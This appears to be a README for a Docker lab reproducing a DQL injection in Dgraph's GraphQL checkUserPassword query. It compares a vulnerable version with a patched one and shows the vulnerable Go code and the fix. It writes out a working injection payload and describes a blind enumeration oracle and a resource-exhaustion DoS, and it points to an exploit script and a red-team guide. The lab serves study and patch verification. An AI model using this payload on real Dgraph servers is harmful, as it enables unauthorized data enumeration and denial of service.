
Docker lab reproduisant CVE-2026-44840, une injection DQL dans la requête GraphQL checkUserPassword de Dgraph, avec script d'exploit et comparaison vulnérable vs corrigé.
checkUserPassword (GraphQL)Laboratoire Docker reproduisant une injection réelle dans Dgraph :
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4CVE réelle de 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · attribuée à Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Uniquement pour un environnement de lab isolé et autorisé.
checkUserPassword est la query GraphQL que Dgraph génère automatiquement pour les
types avec la directive . Dans
(≤ v25.3.3) le mot de passe était concaténé avec :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
Le mot de passe de l'attaquant est inséré littéralement dans le DQL :
pwd as checkpwd(User.password, "<password del atacante>")
Le correctif (v25.3.4, commit cee702c) paramètre la valeur :
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Démarre deux clusters Dgraph (zero+alpha) : v25.3.3 et v25.3.4.
Téléverse le schéma type User @secret(field: "password") et crée admin, alice, bob.
Envoie à checkUserPassword un mot de passe qui sort du littéral DQL et ajoute un bloc
de query arbitraire :
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
En v25.3.3 le bloc injected { ... } est parsé et exécuté côté serveur.
| Test | v25.3.3 (vulnérable) | v25.3.4 (corrigé) |
|---|---|---|
| login avec mot de passe correct | OK (touched_uids 7) | OK (touched_uids 7) |
| login avec mot de passe incorrect | null (5) | null (5) |
mot de passe injecté )} injected{...} # | s'exécute : touched_uids 14 | neutralisé : 5 |
oracle : eq(User.name,"bob") injecté | touched_uids 7 (existe) | 5 |
oracle : eq(User.name,"nobody") injecté | 5 (n'existe pas) | 5 |
log de dgraph alpha | affiche le DQL avec le bloc injected | DQL paramétré, sans bloc |
Impact du CVE : exécution de DQL arbitraire côté serveur → énumération aveugle de données
(via touched_uids/timing), découverte de schéma (has(), eq()) et DoS par consommation
de ressources en injectant des traversées coûteuses (expand(_all_), récursions).
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| Service | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
Guide opérationnel offensif (reconnaissance, exploitation pas à pas, payloads, preuves
et OPSEC) : REDTEAM.md.
Le mot de passe transite comme variable GraphQL ; la valeur qui arrive au rewriter n'est pas
échappée et est insérée dans checkpwd(User.password, "..."). Le payload :
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
Le # empêche que le suffixe du template (le " de fermeture de checkpwd) ne casse le parsing.
dgraph v25.3.4+.vars de dgoapi.Request), jamais
interpoler l'input avec fmt.Sprintf.